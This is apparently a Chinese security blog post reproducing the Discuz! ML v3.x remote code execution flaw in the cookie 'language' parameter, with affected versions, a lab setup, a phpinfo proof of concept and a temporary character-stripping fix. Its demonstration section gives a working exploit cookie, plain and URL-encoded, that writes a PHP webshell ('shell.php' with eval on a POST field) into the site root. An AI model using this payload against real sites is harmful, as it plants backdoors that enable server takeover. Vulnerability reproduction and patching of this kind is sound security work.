0x00 前言

Discuz!ML是一个由CodersClub.org创建的多语言,集成,功能齐全的开源网络平台,用于构建像“社交网络”这样的互联网社区。

该引擎基于Comsenz Inc.创建的着名的Discuz!X引擎开发。

0x01 漏洞描述

1.1 简单描述

2019年7月11日, Discuz!ML被发现存在一处远程代码执行漏洞,攻击者通过在请求流量的cookie字段中的language参数处插入构造的payload,进行远程代码执行利用,该漏洞利用方式简单,危害性较大。

本次漏洞是由于Discuz! ML对于cookie字段的不恰当处理造成的

cookie字段中的language参数未经过滤,直接被拼接写入缓存文件之中,而缓存文件随后又被加载,从而造成代码执行

简而言之,如下图流程可以简单的理解该漏洞

首先,通过cookie传入payload,构造好的payload被写入template文件中:

接着,这个被插入payload的template.php文件被include,造成代码执行:

1.2 受影响的系统版本

Discuz! ML v.3.4

Discuz! ML v.3.3

Discuz! ML v.3.2

0x02 漏洞分析

详情请见:http://blog.topsec.com.cn/discuz-ml-v3-x-代码注入漏洞深度分析/

0x03 漏洞演示

3.1 环境搭建

官网下载:http://discuz.ml/download

解压后将upload所有内容放到网站目录,访问一步步安装即可。

3.2 漏洞定位

在上面的漏洞分析中,可将漏洞信息总结如下:外部参数$lng(即language语言)可控,导致template 函数生成的临时模板文件名可操纵,插入自己的代码,最终include_once包含一下最终导致了代码注入。所以有包含template 函数的网页中,都存在此类的代码注入点。

3.3 漏洞测试演示

注:在此我将用论坛的主页面(index.php),作为漏洞的演示:

首先看首页里的cookis值中就包含我们想要的language参数:

动手构造我们的POC(测试代码):在26D7_2132_language=sc后面添加以下内容:

'.phpinfo().'

成功返回phpinfo()响应,证明此系统存在代码注入漏洞!

3.4 漏洞执行演示

EXP(原):

'.file_put_contents('shell.php',urldecode('<?php eval($_POST["mo"]);?>')).'

(因为改动的COOKIE中包含分号,其中有可能会出现语法错误,所以这里采用URL编码格式,最后再解过来就没问题了)

EXP(改):

%27.file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp%2520eval%28%2524_%2550%254F%2553%2554%255b%2522mo%2522%255d%29%253b%253f%253e%27%29%29.%27

(2)修改cookie中的xxx_language值为exp内容:这里加上exp后,主页返回正常

(3)在主页中进行代码注入,则上传的shell.php在网站根目录下:

(4)看看效果:满分

漏洞修复

VulkeyChen师傅的建议:单看语言这个点,在/source/class/discuz/discuz_application.php 第338行之后341行之前加入该代码暂缓此安全问题:

$lng = str_replace("(","",$lng);
$lng = str_replace(")","",$lng);
$lng = str_replace("'","",$lng);
$lng = str_replace('"',"",$lng);
$lng = str_replace('`',"",$lng);

参考链接

1.http://blog.topsec.com.cn/discuz-ml-v3-x-代码注入漏洞深度分析/

2.https://mp.weixin.qq.com/s/5Zl3Jve4eblNIXh30t469w

3.https://mp.weixin.qq.com/s?__biz=Mzg4NzI0MDMwMQ==&mid=2247483730&idx=1&sn=79706db47b39bd4e36d9cbe2c7bde301&chksm=cf8c2250f8fbab463558ece653ed8c413c0eb8f3dfdac13de9f4e9bad40c20ef87b0c2f90e7b&mpshare=1&scene=23&srcid=#rd

Discuz ML! V3.X 代码注入漏洞的更多相关文章

  1. 阿里云提示Discuz uc.key泄露导致代码注入漏洞uc.php的解决方法

    适用所有用UC整合 阿里云提示漏洞: discuz中的/api/uc.php存在代码写入漏洞,导致黑客可写入恶意代码获取uckey,.......... 漏洞名称:Discuz uc.key泄露导致代 ...

  2. Discuz uc.key泄露导致代码注入漏洞

    漏洞描述:在Discuz中,uc_key是UC客户端与服务端通信的通信密钥,discuz中的/api/uc.php存在代码写入漏洞,导致黑客可写入恶意代码获取uckey,最终进入网站后台,造成数据泄漏 ...

  3. 【代码审计】XYHCMS V3.5代码执行漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  4. phpMyAdmin setup.php脚本的任意PHP代码注入漏洞

    phpMyAdmin (/scripts/setup.php) PHP 注入代码 此漏洞代码在以下环境测试通过:      phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, ...

  5. 关于Discuz! X系列远程代码执行漏洞

    一.漏洞起源 突然有同事反馈,无法注册 看到这里不了解的同行估计一年懵逼,这里也是常用的漏洞攻击,可以肯定的是  badwords.php文件被修改了 ,可以查看这个文件内容 <?php $_C ...

  6. Discuz! ML远程代码执行(CVE-2019-13956)

    Discuz! ML远程代码执行(CVE-2019-13956) 一.漏洞描述 该漏洞存在discuz ml(多国语言版)中,cookie中的language可控并且没有严格过滤,导致可以远程代码执行 ...

  7. Discuz ML RCE漏洞

    1.漏洞描述 Discuz国际版漏洞存在于cookie的language可控并且没有严格过滤,导致可以远程代码执行. 2.产生原因:Discuz!ML 系统对cookie中的l接收的language参 ...

  8. Discuz! ML RCE漏洞 getshell 复现

    0x01 影响版本 Discuz! ML V3.2 Discuz! ML V3.3 Discuz! ML V3.4 0x02 环境搭建 直接官网下载即可http://discuz.ml/downloa ...

  9. CVE漏洞—PHPCMS2008 /type.php代码注入高危漏洞预警

    11月4日,阿里云安全首次捕获PHPCMS 2008版本的/type.php远程GetShell 0day利用攻击,攻击者可以利用该漏洞远程植入webshell,导致文件篡改.数据泄漏.服务器被远程控 ...

随机推荐

  1. Android中对sqlite加密--SQLCipher

    原文:Android中对sqlite加密--SQLCipher android中有些时候会将一些隐私数据存放在sqlite数据库中,在root过的手机中通过RE就能够轻松的打开并查看数据库所有内容,所 ...

  2. Win8Metro(C#)数字图像处理--2.30直方图均衡化

    原文:Win8Metro(C#)数字图像处理--2.30直方图均衡化 [函数名称] 直方图均衡化函数HistogramEqualProcess(WriteableBitmap src) [算法说明] ...

  3. C#获取带汉字的字符串长度

    正常情况下,我们是直接去string的length的,但是汉字是有两个字节的,所以直接用length是错的.如下图: 所以应该用以下代码来获取长度: private void button1_Clic ...

  4. 【必须知道】Enum_Flags

    [Flags] enum AnyThings{ A=1, B=2, C=4, D=8 } 枚举赋值必须是2^n才可以,目的是实现他们的二进制表示中的 1 ,不要重叠,如 1=0001   2=0010 ...

  5. 在Azure中搭建Ghost博客并绑定自定义域名和HTTPS

    绪论 之前一直使用cnblog写博客,现在将博客迁移至Microsoft Azure上的Ghost博客上,Ghost博客使用Markdown书写博客,页面简洁,是我喜欢的风格.具体参见官网:https ...

  6. 使用 Visual Studio 开发并调试 Mail Add-in (mail app for Outlook)

    准备工作 如果你的邮箱搭建在 Exchange Server 上,则可以创建邮件应用程序(Mail Add-in)来扩展Office本身的功能,使用 Office Add-in Model 开发的 M ...

  7. 使用SqlSugar封装的数据层基类

    首先简单封装了个DbContext public class DbContext { #region 属性字段 private static string _connectionString; /// ...

  8. XP系統IIS最大連接數修改

    方法一: 安裝軟件 http://download.microsoft.com/download/iis50/Utility/5.0/NT45/EN-US/MtaEdt22.exe 然後進入  W3S ...

  9. 玩转Java多线程(乒乓球比赛)

    转载请标明博客的地址 本人博客和github账号,如果对你有帮助请在本人github项目AioSocket上点个star,激励作者对社区贡献 个人博客:https://www.cnblogs.com/ ...

  10. 使用 Cake 推送 NuGet 包到 AzureDevops 的 Artifacts 上

    前言 大家好,我最近在想如何提交代码的时候自动的打包 NuGet 然后发布到 AzureDevOps 中的 Artifacts,在这个过程中踩了很多坑,也走了很多弯路,所以这次篇文章就是将我探索的结果 ...